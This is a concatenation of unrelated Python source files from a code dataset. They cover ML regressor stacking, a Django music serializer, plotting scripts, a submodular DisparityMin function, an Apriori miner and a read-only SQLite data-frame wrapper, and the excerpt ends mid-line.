generalizers_bg = [\n KernelRidge(alpha=0.001, gamma=0.0001, kernel='laplacian'),\n RandomForestRegressor(criterion='mse',\n max_depth=17,\n max_features='auto',\n min_samples_split=1e-6,\n n_estimators=140,\n n_jobs=-1,\n random_state=0),\n KNeighborsRegressor(algorithm='auto',\n leaf_size=5,\n n_jobs=-1,\n n_neighbors=7,\n p=1,\n weights='distance'),\n MLPRegressor(activation='relu',\n alpha=1e-5,\n batch_size=1,\n epsilon=1e-8,\n hidden_layer_sizes=(64, 64, 64),\n learning_rate='constant',\n learning_rate_init=1e-3,\n max_iter=200,\n random_state=0,\n shuffle=True,\n solver='adam',\n tol=1e-4,\n verbose=False,\n warm_start=False),\n xgb.XGBRegressor(colsample_bylevel=1.0,\n colsample_bytree=0.5,\n gamma=0.0,\n max_depth=3,\n min_child_weight=5,\n reg_alpha=0.6,\n reg_lambda=0.8,\n subsample=1.0,\n learning_rate=0.1,\n booster='dart',\n n_estimators=287,\n silent='True',\n n_jobs=-1,\n random_state=0,\n objective='reg:linear'),\n CatBoostRegressor(depth=6,\n eval_metric='RMSE',\n iterations=286,\n l2_leaf_reg=0.2,\n learning_rate=0.1,\n logging_level='Silent',\n loss_function='RMSE',\n od_type='Iter',\n od_wait=50,\n random_seed=0,\n thread_count=8),\n lgb.LGBMRegressor(boosting_type='gbdt',\n colsample_bytree=0.8,\n learning_rate=0.08,\n max_bin=464,\n max_depth=9,\n min_child_samples=56,\n n_estimators=136,\n n_jobs=8,\n num_leaves=54,\n random_state=0,\n reg_alpha=0.4,\n reg_lambda=0.1,\n silent=True,\n subsample=0.7),\n ]\n\n y_fe_pred_test, fe_min_loss, fe_argmin_loss = run(space, max_evals, generalizers_fe, X_train_fe, y_fe_train, X_test_fe, n_splits=5)\n\n logger.info('formation_energy_ev_natom end')\n\n y_bg_pred_test, bg_min_loss, bg_argmin_loss = run(space, max_evals, generalizers_bg, X_train_bg, y_bg_train, X_test_bg, n_splits=5)\n\n logger.info('bandgap_energy_ev end')\n\n logger.info('estimated RMSE: {}'.format((fe_min_loss + bg_min_loss) / 2))\n\n df_submit = pd.read_csv(SAMPLE_SUBMIT_FILE).sort_values('id')\n df_submit['formation_energy_ev_natom'] = np.maximum(0, np.expm1(y_fe_pred_test))\n df_submit['bandgap_energy_ev'] = np.maximum(0, np.expm1(y_bg_pred_test))\n\n df_submit.to_csv(DIR + 'submit_stacked_generalization.csv', index=False)\n","sub_path":"protos/train_stacked_generalization_plot.py","file_name":"train_stacked_generalization_plot.py","file_ext":"py","file_size_in_byte":13402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"284294035","text":"from rest_framework import serializers\nfrom .models import Music, Genre\n\nclass GenreSerializer(serializers.ModelSerializer) :\n class Meta :\n model = Genre\n fields = ('id', 'name',)\n\nclass MusicSerializer(serializers.ModelSerializer) :\n genre = GenreSerializer(many=False, read_only=False)\n\n def create(self, validated_data) :\n genre = validated_data.pop('genre')\n tmp_genre = Genre.objects.filter(name=genre['name'])\n \n music = Music(**validated_data)\n # 장르 이름으로 장르 객체를 조회하고 실제 데이터베이스에 설정합니다.\n if len(tmp_genre) > 0 :\n music.genre = tmp_genre[0]\n\n music.save()\n return music\n\n def update(self, instance, validated_data) :\n genre = validated_data.pop('genre')\n \n # 좋아요 수치 빼고 바뀐 데이터를 전부 수정합니다.\n instance.title = validated_data.pop('title')\n instance.singer = validated_data.pop('singer')\n instance.year = validated_data.pop('year')\n\n # 장르 ��름으로 장르 객체를 조회하고 실제 데이터베이스에 설정합니다.\n tmp_genre = Genre.objects.filter(name=genre['name'])\n if len(tmp_genre) > 0 :\n instance.genre = tmp_genre[0]\n \n instance.save()\n return instance\n\n class Meta :\n model = Music\n fields = ('id', 'title', 'singer', 'year', 'genre', 'hearts', )","sub_path":"api_apps/music_app/songbox/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"254230527","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nparam_range = np.arange(1, 11, 1)\n\n\ndef plot_training_acc():\n train_scores = [0.8046, 0.8469, 0.8571, 0.8705, 0.8847, 0.8819, 0.8927, 0.8974, 0.8978, 0.9091]\n plt.plot(param_range, train_scores, label=\"crfrnn\", color=\"dimgrey\")\n plt.title(\"Training Accuracy\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"accuracy\")\n plt.tight_layout()\n plt.legend(loc=\"best\")\n plt.savefig(\"train_accuracy.png\")\n plt.show()\n\n\ndef plot_validation_acc():\n test_scores = [0.6430, 0.5184, 0.6200, 0.6569, 0.5945, 0.4024, 0.6596, 0.7298, 0.6680, 0.7689]\n plt.plot(param_range, test_scores, label=\"crfrnn\", color=\"dimgrey\")\n plt.title(\"Validation Accuracy\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"accuracy\")\n plt.tight_layout()\n plt.legend(loc=\"best\")\n plt.savefig(\"validation_accuracy.png\")\n plt.show()\n\n\ndef main():\n plot_training_acc()\n plot_validation_acc()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"625728775","text":"from abc import ABC\nfrom datetime import datetime\nfrom pyramid.response import Response\n\n\nclass BaseView(ABC):\n\n @staticmethod\n def json_response(json):\n \"\"\"\"\n :param dict | list json:\n :rtype: dict | list\n \"\"\"\n if isinstance(json, dict):\n result = BaseView._dict_response(json)\n elif isinstance(json, list):\n result = BaseView._list_response(json)\n else:\n result = json\n return result\n\n @staticmethod\n def empty_response():\n \"\"\"\n :rtype: Response\n \"\"\"\n return Response(status=204)\n\n @staticmethod\n def options():\n \"\"\"\n :rtype: Response\n \"\"\"\n return BaseView.empty_response()\n\n @staticmethod\n def _dict_response(_dict):\n \"\"\"\"\n :param dict _dict:\n :rtype: dict\n \"\"\"\n result = {}\n for key, value in _dict.items():\n if isinstance(value, dict):\n result[key] = BaseView._dict_response(value)\n elif isinstance(value, list):\n result[key] = BaseView._list_response(value)\n elif isinstance(value, datetime):\n result[key] = value.strftime('%Y-%m-%d %H:%M:%S')\n else:\n result[key] = value\n return result\n\n @staticmethod\n def _list_response(_list):\n \"\"\"\"\n :param list _list:\n :rtype: list\n \"\"\"\n result = []\n for value in _list:\n if isinstance(value, dict):\n result.append(BaseView._dict_response(value))\n elif isinstance(value, list):\n result.append(BaseView._list_response(value))\n elif isinstance(value, datetime):\n result.append(value.strftime('%Y-%m-%d %H:%M:%S'))\n else:\n result.append(value)\n return result\n\n def __init__(self, request):\n \"\"\"\n :param pyramid.request.Request request:\n \"\"\"\n self._request = request\n","sub_path":"backend/app/views/_base.py","file_name":"_base.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"488596849","text":"# disparityMin.py\n# Author: Vishal Kaushal \nimport numpy as np\nimport scipy\nfrom scipy import sparse\nfrom .setFunction import SetFunction\nimport submodlib_cpp as subcp\nfrom submodlib_cpp import DisparityMin \n#from submodlib.helper import create_kernel, create_cluster_kernels\n\n\nclass DisparityMinFunction(SetFunction):\n\t\"\"\"Implementation of the Disparity-Min (DispMin) function.\n\t\n\tDiversity based functions attempt to obtain a diverse set of keypoints. The goal is to have minimum similarity across elements in the chosen subset by maximizing minimum pairwise distance between elements. There is a subtle difference between the notion of diversity and the notion of representativeness. While diversity *only* looks at the elements in the chosen subset, representativeness also worries about their similarity with the remaining elements in the superset. Denote :math:`d_{ij}` as a distance measure between data points :math:`i` and :math:`j`. Disparity-Min for a subset :math:`X` is defined as: \n\t\n\t.. math::\n\t\t\tf(X) = \\\\min_{i, j \\\\in X, i \\\\neq j} (1 - s_{ij})\n\n\tIt is easy to see that maximizing this function involves obtaining a subset with maximal minimum pairwise distance, thereby ensuring a diverse subset of datapoints (snippets or keyframes) in the summary.\n \n\t.. note::\n\t\t\tThis function is not submodular, but can be efficiently optimized via a greedy algorithm :cite:`dasgupta2013summarization`.\n\n\tParameters\n\t----------\n\n\tn : int\n\t\tNumber of elements in the ground set. Must be > 0.\n\t\n\tmode : str\n\t\tCan be \"dense\" or \"sparse\". It specifies whether the Disparity-Min function should operate in dense mode (using a dense similarity kernel) or sparse mode (using a sparse similarity kernel).\n\t\n\tsijs : numpy.ndarray or scipy.sparse.csr.csr_matrix, optional\n\t\tSimilarity kernel (dense or sparse) between the elements of the ground set, to be used for getting :math:`s_{ij}` entries as defined above. Shape of dense kernel must be n X n. When not provided, it is computed internally in C++ based on the following additional parameters. **The implementation requires this similarity kernel to be normalized, i.e. entries must be strictly in [0,1].**\n\n\tdata : numpy.ndarray, optional\n\t\tMatrix of shape n X num_features containing the ground set data elements. data[i] should contain the num-features dimensional features of element i. Used to compute the similarity kernel. It is optional (and is ignored if provided) if sijs has been provided.\n\n\tmetric : str, optional\n\t\tSimilarity metric to be used for computing the similarity kernel. Can be \"cosine\" for cosine similarity or \"euclidean\" for similarity based on euclidean distance. Default is \"cosine\".\n\t\n\tnum_neighbors : int, optional\n\t\tNumber of neighbors applicable for the sparse similarity kernel. Must not be provided if mode is \"dense\". Must be provided if either a sparse kernel is provided or is to be computed.\n\n\t\"\"\"\n\n\tdef __init__(self, n, mode, sijs=None, data=None, metric=\"cosine\", num_neighbors=None):\n\t\tself.n = n\n\t\tself.mode = mode\n\t\tself.metric = metric\n\t\tself.sijs = sijs\n\t\tself.data = data\n\t\tself.num_neighbors = num_neighbors\n\t\tself.cpp_obj = None\n\t\tself.cpp_sijs = None\n\t\tself.cpp_content = None\n\t\tself.effective_ground = None\n\n\t\tif self.n <= 0:\n\t\t\traise Exception(\"ERROR: Number of elements in ground set must be positive\")\n\n\t\tif self.mode not in ['dense', 'sparse']:\n\t\t\traise Exception(\"ERROR: Incorrect mode. Must be one of 'dense' or 'sparse'\")\n\t\t\n\t\t# if self.metric not in ['euclidean', 'cosine']:\n\t\t# \traise Exception(\"ERROR: Unsupported metric. Must be 'euclidean' or 'cosine'\")\n\n\t\tif type(self.sijs) != type(None): # User has provided similarity kernel\n\t\t\tif type(self.sijs) == scipy.sparse.csr.csr_matrix:\n\t\t\t\tif num_neighbors is None or num_neighbors <= 0:\n\t\t\t\t\traise Exception(\"ERROR: Positive num_neighbors must be provided for given sparse kernel\")\n\t\t\t\tif mode != \"sparse\":\n\t\t\t\t\traise Exception(\"ERROR: Sparse kernel provided, but mode is not sparse\")\n\t\t\telif type(self.sijs) == np.ndarray:\n\t\t\t\tif mode != \"dense\":\n\t\t\t\t\traise Exception(\"ERROR: Dense kernel provided, but mode is not dense\")\n\t\t\telse:\n\t\t\t\traise Exception(\"Invalid kernel provided\")\n\t\t\t#TODO: is the below dimensionality check valid for both dense and sparse kernels?\n\t\t\tif np.shape(self.sijs)[0]!=self.n or np.shape(self.sijs)[1]!=self.n:\n\t\t\t\traise Exception(\"ERROR: Inconsistentcy between n and dimensionality of given similarity kernel\")\n\t\t\tif type(self.data) != type(None):\n\t\t\t\tprint(\"WARNING: similarity kernel found. Provided data matrix will be ignored.\")\n\t\telse: #similarity kernel has not been provided\n\t\t\tif type(self.data) != type(None): \n\t\t\t\tif np.shape(self.data)[0]!=self.n:\n\t\t\t\t\traise Exception(\"ERROR: Inconsistentcy between n and no of examples in the given data matrix\")\n\t\t\t\t\n\t\t\t\tif self.mode == \"dense\":\n\t\t\t\t\tif self.num_neighbors is not None:\n\t\t\t\t\t\traise Exception(\"num_neighbors wrongly provided for dense mode\")\n\t\t\t\t\tself.num_neighbors = np.shape(self.data)[0] #Using all data as num_neighbors in case of dense mode\n\t\t\t\tself.cpp_content = np.array(subcp.create_kernel(self.data.tolist(), self.metric, self.num_neighbors))\n\t\t\t\tval = self.cpp_content[0]\n\t\t\t\trow = list(self.cpp_content[1].astype(int))\n\t\t\t\tcol = list(self.cpp_content[2].astype(int))\n\t\t\t\tif self.mode==\"dense\":\n\t\t\t\t\tself.sijs = np.zeros((n,n))\n\t\t\t\t\tself.sijs[row,col] = val\n\t\t\t\tif self.mode==\"sparse\":\n\t\t\t\t\tself.sijs = sparse.csr_matrix((val, (row, col)), [n,n])\n\t\t\telse:\n\t\t\t\traise Exception(\"ERROR: Neither ground set data matrix nor similarity kernel provided\")\n\t\t\n\t\tcpp_ground_sub = {-1} #Provide a dummy set for pybind11 binding to be successful\n\t\t\n\t\t#Breaking similarity matrix to simpler native data structures for implicit pybind11 binding\n\t\tif self.mode==\"dense\":\n\t\t\tself.cpp_sijs = self.sijs.tolist() #break numpy ndarray to native list of list datastructure\n\t\t\t\n\t\t\tif type(self.cpp_sijs[0])==int or type(self.cpp_sijs[0])==float: #Its critical that we pass a list of list to pybind11\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #This condition ensures the same in case of a 1D numpy array (for 1x1 sim matrix)\n\t\t\t\tl=[]\n\t\t\t\tl.append(self.cpp_sijs)\n\t\t\t\tself.cpp_sijs=l\n\n\t\t\tself.cpp_obj = DisparityMin(self.n, self.cpp_sijs, False, cpp_ground_sub)\n\t\t\n\t\tif self.mode==\"sparse\": #break scipy sparse matrix to native component lists (for csr implementation)\n\t\t\tself.cpp_sijs = {}\n\t\t\tself.cpp_sijs['arr_val'] = self.sijs.data.tolist() #contains non-zero values in matrix (row major traversal)\n\t\t\tself.cpp_sijs['arr_count'] = self.sijs.indptr.tolist() #cumulitive count of non-zero elements upto but not including current row\n\t\t\tself.cpp_sijs['arr_col'] = self.sijs.indices.tolist() #contains col index corrosponding to non-zero values in arr_val\n\t\t\tself.cpp_obj = DisparityMin(self.n, self.cpp_sijs['arr_val'], self.cpp_sijs['arr_count'], self.cpp_sijs['arr_col'])\n\t\t\n\t\tself.effective_ground = self.cpp_obj.getEffectiveGroundSet()","sub_path":"submodlib/functions/disparityMin.py","file_name":"disparityMin.py","file_ext":"py","file_size_in_byte":6884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"559409031","text":"import csv\nimport inspect, os\nfrom itertools import combinations\n\nclass Candidate:\n def __init__(self):\n self.item_sets = []\n self.candidates = {}\n self.min_sup = 0\n self.support = 1\n self.k = 1\n\nclass Apriori:\n def __init__(self, filename, min_sup):\n self._filename = filename\n self._min_sup = min_sup\n self.Candidates = []\n self.k = 1\n self.main()\n\n def main(self):\n _candidate, self.k = self.create_first_candidate(self._filename, self._min_sup, self.k)\n self.Candidates.append(_candidate)\n while(True):\n _candidate, self.k = self.create_k_candidate(self._filename, self._min_sup, self.Candidates, self.k)\n if len(_candidate.item_sets) == 0 or len(_candidate.candidates) == 0:\n break\n self.Candidates.append(_candidate)\n self.print_outputs(self.Candidates)\n\n def print_outputs(self,list_of_candidates):\n for candidate in list_of_candidates:\n for item in candidate.candidates:\n print(str(item) + ' : ' + str(candidate.candidates[item]))\n\n\n def create_first_candidate(self,filename, min_sup, k):\n freq = Candidate()\n freq.k = k\n freq.min_sup = min_sup\n with open(filename, 'r') as file:\n for line in file:\n temp_line = line.strip('\\n').split(',')\n for item in temp_line:\n if item not in freq.item_sets: #check if item is in list already. Add if not.\n if item != '': #check for empty item.\n freq.item_sets.append(item)\n freq.candidates[item] = freq.support\n else:\n freq.candidates[item] = int(freq.candidates.get(item)) + 1\n freq.item_sets, freq.candidates = self.pruning(freq.candidates, freq.item_sets, freq.min_sup)\n freq.k += 1 #increment k since first candidate is already created.\n return freq, freq.k\n\n def pruning(self, candidates, item_sets, min_sup):\n for item in list(candidates):\n if candidates.get(item) < min_sup:\n if len(item) > 1:\n temp_item = list(item)\n else:\n temp_item = item\n item_sets.remove(temp_item)\n del candidates[item]\n return item_sets, candidates\n\n def create_k_candidate(self, filename, min_sup, candidateObjects, k):\n freq = Candidate()\n freq.k = k\n freq.min_sup = min_sup\n\n #combinations\n combs = combinations(candidateObjects[0].item_sets, freq.k)\n\n #convert combinations to list\n for comb in combs:\n freq.item_sets.append(list(comb))\n lines = []\n with open(filename, 'r') as file:\n for line in file:\n lines.append(line.strip('\\n').split(','))\n\n for comb in freq.item_sets:\n item_name = str.join('',list(comb))\n for line in lines:\n if set(comb).issubset(line):\n if item_name not in freq.candidates:\n freq.candidates[item_name] = freq.support\n else:\n freq.candidates[item_name] = int(freq.candidates.get(item_name)) + 1\n freq.item_sets, freq.candidates = self.pruning(freq.candidates, freq.item_sets, freq.min_sup)\n freq.k += 1\n return freq, freq.k\n\n\nif __name__ == \"__main__\":\n filename = inspect.getframeinfo(inspect.currentframe()).filename\n path = os.path.dirname(os.path.abspath(filename)) + '/'\n csv_file_name = \"run_file.csv\"\n #filename = input(\"Enter the file name with extension. For example, test.csv or test.txt\\n\")\n print(\"Make sure that your input file is name run_file.csv and is in the same folder as Apriori.py script.\")\n min_sup = input(\"Enter the minimum support.\\n\")\n print(\"Outputs:\")\n try:\n min_sup = int(min_sup)\n apriori = Apriori(path + csv_file_name, min_sup)\n except FileNotFoundError:\n print(\"filename error.\")\n except ValueError:\n print(\"min_sup is not numeric.\")\n\n","sub_path":"hw1/Apriori.py","file_name":"Apriori.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"476599080","text":"#precip 0.4 only. Hist and Box one plot.\r\n\r\n\r\nimport matplotlib \r\nmatplotlib.use(\"Agg\")\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd \r\nimport sys\r\n\r\n\r\ntarget = '/exports/csce/datastore/geos/users/s1134744/LSDTopoTools/Topographic_projects/full_himalaya_5000/'\r\n\r\nsource= '0_4_ex_MChiSegmented_burned_outlier_removed.csv'\r\n\r\n\r\ncolours = ['b','g','r','y','c','m']\r\nnumbers_a = [30000,50000,90000,100000,110000,120000]\r\nnumbers_b = [40000,60000,100000,110000,120000,130000]\r\nlegends = []\r\nnames = [\"Metamorphics\",\"Acid \\n Plutonic \\n Rocks\",\"Carbonate \\n Sedimentary \\n Rocks\",\r\n \"Mixed \\n Sedimentary \\n Rocks\",\"Siliciclastic \\n Sedimentary \\n Rocks\",\r\n \"Unconsolidated \\n Sediments\"]\r\nnames_b = ['Sub \\n Himalaya','Lesser \\n Himalaya','Greater \\n Himalaya','Tethyan \\n Himalaya']\r\n\r\ndef getAxisHist(column):\r\n \r\n with open(target+source,'r') as csvfile:\r\n df = pd.read_csv(csvfile,delimiter=',')\r\n x_list = df[column].tolist()\r\n y_list = df['m_chi'].tolist() \r\n return x_list,y_list\r\n\r\n\r\ndef getAxisBox(column,mins,maxs):\r\n\r\n x_list = []\r\n x_ticks = []\r\n \r\n with open(target+source,'r') as csvfile:\r\n \r\n df = pd.read_csv(csvfile,delimiter=',') \r\n selectedDF = df[df['m_chi'] > 0]\r\n \r\n for lower,upper in zip(mins,maxs): \r\n selectedDF = df[df[column] >= lower]\r\n selectedDF = selectedDF[selectedDF[column] < upper] \r\n \r\n series = selectedDF['m_chi'] \r\n lister = series.tolist()\r\n data_count = len(lister)\r\n \r\n #for labeling x axis\r\n #label = str(lower)+'\\n n:'+str(data_count) \r\n x_ticks.append(str(data_count))\r\n \r\n x_list.append(lister) \r\n \r\n return x_list,x_ticks\r\n \r\nfig = plt.figure(1, figsize=(20,10))\r\n\r\nx_list,x_ticks = getAxisBox('tectonics',[1,2,3,4],[2,3,4,5])\r\n\r\n#names = ['0-500','500-1000','1000-1500','1500-2000','2000-2500','2500-3000','3000-3500','3500-4000','4000-4500','4500-5000','5000-5500','5500-6000']\r\n\r\n\r\n\r\nax = fig.add_subplot(121) \r\n#names = [x.replace('-','\\n') for x in names] \r\nnew_names = [x+'\\n n:'+y for x,y in zip(names_b,x_ticks)]\r\n \r\nax.boxplot(x_list,labels=new_names)\r\nax.set_xticklabels(new_names)\r\n#plt.xticks(rotation=60)\r\n#plt.rc('xaxis', labelsize=20) \r\nplt.ylim(ymin=0,ymax=400)\r\nplt.ylabel(r\"$K_{sn}$\",fontsize=18)\r\nplt.xlabel(\"Tectonic Zone\",fontsize=18)\r\n\r\n\r\n\r\nx_list,y_list = getAxisHist('tectonics')\r\n#print x_list,y_list\r\n\r\nax = fig.add_subplot(122) \r\nh = ax.hist2d(x_list,y_list,bins=([1,2,3,4,5],100),range=((0,5),(0,400)))\r\nplt.xticks([1.5,2.5,3.5,4.5],names_b)\r\nplt.colorbar(h[3], ax=ax) \r\nplt.ylabel(r\"$K_{sn}$\",fontsize=18)\r\nplt.xlabel(\"Tectonic Zone\",fontsize=18)\r\nax.get_yaxis().set_visible(False)\r\n \r\nfig.tight_layout()\r\n\r\n\r\n\r\n\r\nfig.savefig('../tectonic_box_hist_0.4_removed.png', bbox_inches='tight')\r\n","sub_path":"box_hist_tectonics.py","file_name":"box_hist_tectonics.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"450760085","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport sqlite3\nimport weakref\n\nfrom collections import OrderedDict\nfrom functools import reduce\n\nfrom ..helpers import (repeat_to_match,\n key_depth,\n expand_key,\n extend_functions,\n tuple_,\n maybe_list,\n sql_friendly)\n\n\nclass _SqliteLocIndexer(object):\n \"\"\"Label-location based indexer for selection by label in Sqlite data\n frames.\n \"\"\"\n\n def __init__(self, parent):\n self._parent = weakref.ref(parent)\n\n def __getitem__(self, item):\n for observation in self._parent().query(index=item):\n yield observation\n\n\nclass _SqliteIlocIndexer(object):\n \"\"\"Indexer for selection by integer index in Sqlite data\n frames.\n \"\"\"\n\n def __init__(self, parent):\n self._parent = weakref.ref(parent)\n\n def __getitem__(self, item):\n for observation in self._parent().query(int_index=item):\n yield observation\n\n\nclass SqliteSeries(object):\n \"\"\"One-dimensional array analogous to a pandas series. Depends on a parent\n SqliteDataFrame which holds the database connection and index.\n \"\"\"\n\n def __init__(self,\n parent,\n table_name,\n column_name,\n sql_index,\n func=lambda x: x):\n \"\"\"SqliteSeries init method.\n\n Parameters\n ----------\n parent : SqliteDataFrame\n Parent data frame\n table_name : str\n Database table name\n column_name : str\n Column name in the given table holding data values\n sql_index : str, optional\n Column name in the given table holding index values\n func : function, optional\n Function to map over the values\n \"\"\"\n\n self.parent = weakref.ref(parent)\n self.table_name = table_name\n self.column_name = column_name\n self.sql_index = sql_index\n self.func = func\n\n self._loc = _SqliteLocIndexer(self)\n self._iloc = _SqliteIlocIndexer(self)\n\n @property\n def loc(self):\n return self._loc\n\n @property\n def iloc(self):\n return self._iloc\n\n @property\n def n_columns(self):\n if isinstance(self.column_name, str):\n return 1\n else:\n return len(self.column_name)\n\n @property\n def index(self):\n # return [k for k in range(len(self))]\n return self.parent().index\n\n def __iter__(self):\n if isinstance(self.column_name, list):\n observations = zip(*[self._iter_single(table_name,\n column_name,\n index)\n for table_name, column_name, index in\n zip(self.table_name,\n self.column_name,\n self.sql_index)])\n for observation in observations:\n yield self.func(*observation)\n else:\n for observation in self._iter_single(self.table_name,\n self.column_name,\n self.sql_index):\n yield self.func(observation)\n\n # def __iter__(self):\n # for observation in self.query():\n # yield observation\n\n def __len__(self):\n n_observations = 0\n for _ in iter(self):\n n_observations += 1\n\n return n_observations\n\n def _iter_single(self, table_name, column_name, index):\n if table_name is None:\n for x in self.parent()[column_name]:\n yield x\n elif self.parent().connection is not None:\n crs = self.parent().connection.cursor()\n crs.execute(\"SELECT {column} FROM {table} ORDER BY {index}\".format(\n column=column_name,\n table=table_name,\n index=index))\n for x in crs:\n yield x[0]\n else:\n while False:\n yield None\n\n def query(self, index=None, int_index=None):\n \"\"\"Query the database for values.\n\n Parameters\n ----------\n index : list or slice of index labels or single index label, optional\n int_index : list or slice of integer indices or single index, optional\n index takes presedence if not None\n\n Yields\n ------\n list\n The next observation\n \"\"\"\n this_column = self.parent().column_name(self)\n for observation in self.parent().query(index=index,\n int_index=int_index,\n columns=this_column):\n yield observation\n\n\nclass SqliteDataFrame(object):\n \"\"\"Two-dimensional data structure providing a read-only connection to an\n SQLite database and an interface similar to that of a pandas data frame.\n \"\"\"\n\n def __init__(self, path=None, columns=None, index_col=None):\n \"\"\"SqliteDataFrame init method.\n\n Parameters\n ----------\n path : str, optional\n Path to an SQLite database\n columns : dict, optional\n Dictionary of columns to add, given as\n {key: (table_name, column_name, index_name)}\n index_col : dict key, optional\n Key of the column to use as index\n \"\"\"\n self._columns = OrderedDict()\n self._index = None\n self._connection = None\n self._loc = _SqliteLocIndexer(self)\n self._iloc = _SqliteIlocIndexer(self)\n\n if path is not None:\n self.connect(path)\n\n if columns is not None:\n for column_name, column_details in columns.items():\n self[column_name] = column_details\n\n if index_col is not None:\n self.set_index(index_col)\n\n @property\n def database(self):\n \"\"\"Path to the connected database, if any\"\"\"\n if self._connection is not None:\n crs = self._connection.cursor()\n crs.execute(\"PRAGMA database_list\")\n _, _, db_path = crs.fetchone()\n return db_path\n else:\n return None\n\n @property\n def connection(self):\n \"\"\"Database connection\"\"\"\n return self._connection\n\n @property\n def columns(self):\n return [column for column in self._columns.keys()]\n\n @columns.setter\n def columns(self, value):\n if not len(value) == len(self._columns):\n error_message = (\"Length mismatch, data frame has {n_data} \"\n \"columns but {n_names} names were given\")\n raise ValueError(error_message.format(n_data=len(self._columns),\n n_names=len(value)))\n\n if not len(value) == len(set(value)):\n raise ValueError(\"Column names must be unique\")\n\n max_depth = max(map(key_depth, value))\n expanded_names = [expand_key(name, max_depth) for name in value]\n\n self._columns = OrderedDict(\n [(key, val) for key, val in zip(expanded_names,\n list(self._columns.values()))])\n\n @property\n def index(self):\n if self._index is None:\n try:\n return list(range(len(next(iter(self._columns.values())))))\n except StopIteration:\n return []\n else:\n return list(self._index)\n\n @property\n def loc(self):\n return self._loc\n\n @property\n def iloc(self):\n return self._iloc\n\n def _expand_item(self, items):\n \"\"\"Expand a list of items to present multi-indexing keys.\"\"\"\n\n depth = key_depth(next(iter(self._columns.keys())))\n if depth == 0:\n return items\n\n expanded_items = []\n for item in items:\n if key_depth(item) == depth:\n expanded_items.append(item)\n else:\n expanded_items.extend(\n [key for key in self._columns\n if all(a == b for a, b in zip(tuple_(item), key))])\n\n return expanded_items\n\n def __setitem__(self, item, value):\n if isinstance(value, SqliteSeries):\n self._columns[item] = value\n else:\n table_name, column_name, index = repeat_to_match(*value[:3])\n if len(value) > 3:\n func = value[3]\n else:\n def func(x): return x\n series = SqliteSeries(self, table_name, column_name, index, func)\n self._columns[item] = series\n\n def __getitem__(self, item):\n if isinstance(item, list):\n items = self._expand_item(item)\n return SqliteDataFrame(self.database,\n columns={column: self._columns[column]\n for column in items})\n else:\n items = self._expand_item([item])\n if len(items) == 1:\n return self._columns[items[0]]\n else:\n return SqliteDataFrame(\n self.database,\n columns={column[1:]: self._columns[column]\n for column in items})\n\n def __iter__(self):\n for observation in self.query():\n yield observation\n\n def connect(self, path):\n \"\"\"Connect to a database.\n\n Parameters\n ----------\n path : str\n Path to the database\n \"\"\"\n current_connection = self._connection\n if os.path.isfile(path):\n connection = sqlite3.connect(\"file:{}?mode=ro\".format(path),\n uri=True)\n try:\n connection.execute(\"PRAGMA schema_version\")\n self._connection = connection\n if current_connection is not None:\n current_connection.close()\n except sqlite3.DatabaseError:\n raise ValueError(\n \"{} is not a valid SQLite database\".format(path))\n else:\n raise ValueError(\"{} is not a file\".format(path))\n\n def drop(self, label, axis=0):\n \"\"\"Remove a label from the requested axis.\n\n Parameters\n ----------\n label : str\n Label to be removed\n axis : int\n Axis from which to remove the label.\n \"\"\"\n\n if axis == 1:\n if label in self._columns:\n self._columns.pop(label)\n else:\n raise KeyError(\"No column labeled '{}'\".format(label))\n else:\n raise ValueError(\"Dropping of indices is not yet implemented\")\n\n def rename(self, columns=None):\n \"\"\"Rename a label.\n\n Parameters\n ----------\n columns : dict, optional\n Dictionary of column label substitutions\n \"\"\"\n if columns is not None:\n self.columns = [key if key not in columns else columns[key]\n for key in self.columns]\n\n def set_index(self, index):\n \"\"\"Set a column as index.\n\n Parameters\n ----------\n index : column label\n \"\"\"\n if index in self._columns:\n self._index = self._columns.pop(index)\n else:\n raise ValueError(\"No such column: {}\".format(index))\n\n def column_name(self, target):\n \"\"\"Find the column label of a series if it is part of the data frame.\n\n Parameters\n ----------\n target : SqliteSeries\n\n Returns\n -------\n column label or None\n \"\"\"\n for column_name, column in self._columns.items():\n if column == target:\n return column_name\n\n def query(self, index=None, int_index=None, columns=None):\n \"\"\"Query the database for values.\n\n Parameters\n ----------\n index : list or slice of index labels or single index label, optional\n int_index : list or slice of integer indices or single index, optional\n index takes presedence if not None\n columns : list of column labels or a single column label\n\n Yields\n ------\n list\n The next observation\n \"\"\"\n\n if columns is None:\n columns_ = [column for column in self._columns.values()]\n elif isinstance(columns, list):\n columns_ = [self._columns[column] for column in columns]\n else:\n columns_ = [self._columns[columns]]\n\n if any(column.func is not None for column in columns_):\n def f_0():\n return []\n\n f, n = reduce(extend_functions,\n [(column.func, column.n_columns)\n for column in columns_],\n (f_0, 0))\n\n else:\n f = None\n\n crs = self._connection.cursor()\n query_ = self._build_query(index=index,\n int_index=int_index,\n columns=columns)\n crs.execute(query_)\n\n if f is None:\n for observation in crs:\n yield maybe_list(observation)\n else:\n for observation in crs:\n yield(maybe_list(f(*observation)))\n\n def _build_query(self, index=None, int_index=None, columns=None):\n \"\"\"Build a suitable SQL query.\n\n Parameters\n ----------\n index : list or slice of index labels or single index label, optional\n int_index : list or slice of integer indices or single index, optional\n index takes presedence if not None\n\n Returns\n -------\n str\n An SQL query\n \"\"\"\n\n if columns is 